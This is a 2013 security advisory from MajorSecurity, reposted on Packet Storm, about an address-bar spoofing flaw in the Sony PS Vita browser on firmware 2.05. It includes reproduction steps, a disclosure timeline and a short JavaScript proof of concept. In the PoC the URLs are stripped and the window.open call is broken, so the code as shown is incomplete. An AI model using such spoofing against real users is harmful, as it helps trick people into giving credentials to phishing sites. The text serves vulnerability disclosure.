Sony Playstation Vita Addressbar Spoofing

Type packetstorm
Reporter David "Aesthetico" Vieira-Kurz
Modified 2013-02-05T00:00:00


                                            `[MajorSecurity-SA-2013-014]Sony Playstation Vita Browser - firmware 2.05 - Adressbar spoofing  
Product: Sony Playstation Vita Browser - firmware 2.05  
Security-Risk: moderated  
Remote-Exploit: yes  
Advisory-Status: published  
Discovered by: David Vieira-Kurz of MajorSecurity  
original advisory:  
Affected Products  
Sony Playstation Vita Browser ( Firmware: 2.05 )  
Prior versions may also be affected  
Product Description  
"Playstation Vita is the new handheld of Sony."  
Vulnerability Details  
David Vieira-Kurz has discovered some vulnerabilities in Sony PS Vita based on firmware 2.05 .  
The weakness is caused due to an error within the handling of URLs when using javascript's method.  
This can be exploited to potentially trick users into supplying sensitive information to a malicious web site,  
because information displayed in the address bar can be constructed in a certain way,  
which may lead users to believe that they're visiting another web site than the displayed web site.  
Steps to reproduce  
1) Visit with a PS Vita with firmware 2.05 installed  
2) click the "demo" button  
3) The web browser will open a new window with "" in the adress bar,  
but in fact "" is being displayed inside an iframe within  
the host  
Proof of Concept  
A proof-of-concept code is available here:  
Users should upgrade to a newer version as far as the vendor has supplied a patch.  
2013-01-20, vulnerability identified  
2013-01-20, vulnerability reproduced with firmware 2.05  
2013-01-20, vendor has been informed  
2013-01-27, vendor has been informed once again  
2013-01-29, advisory published with partially details  
2013-02-05, advisory published with full details and poc  
Use of terms  
Unaltered electronic reproduction of this advisory is permitted. For all other reproduction or publication, in printing or otherwise,  
contact us for permission. Use of the advisory constitutes acceptance for use in an "as is" condition. All warranties are excluded.  
In no event shall MajorSecurity be liable for any damages whatsoever including direct, indirect, incidental, consequential,  
loss of business profits or special damages, even if MajorSecurity has been advised of the possibility of such damages.  
------------------------- PROOF OF CONCEPT CODE --------------------------  
<head><title>Sony PS Vita - firmware 2.05 - address bar spoofing</title>  
<meta http-equiv="content-type" content="text/html; charset=iso-8859-1">  
<!-- Copyright 2013 David Vieira-Kurz and MajorSecurity GmbH -->  
<body><h1>Sony PS Vita - firmware 2.05 - address bar spoofing</h1>  
<li>Please click the button to run the proof of concept. <button id="one">Demo</button></li>  
<script type="text/javascript">  
document.getElementById('one').onclick = function() {'','Playstation Vita, PS Vita','width=200,height=100,location=yes');  
myWindow.document.write("<html><head></head><body><b>This page is still being hosted on, but the address bar is pointing to another domain.</b><br><br><iframe src=\"\");></iframe></scri+pt></body></html>");  
return false;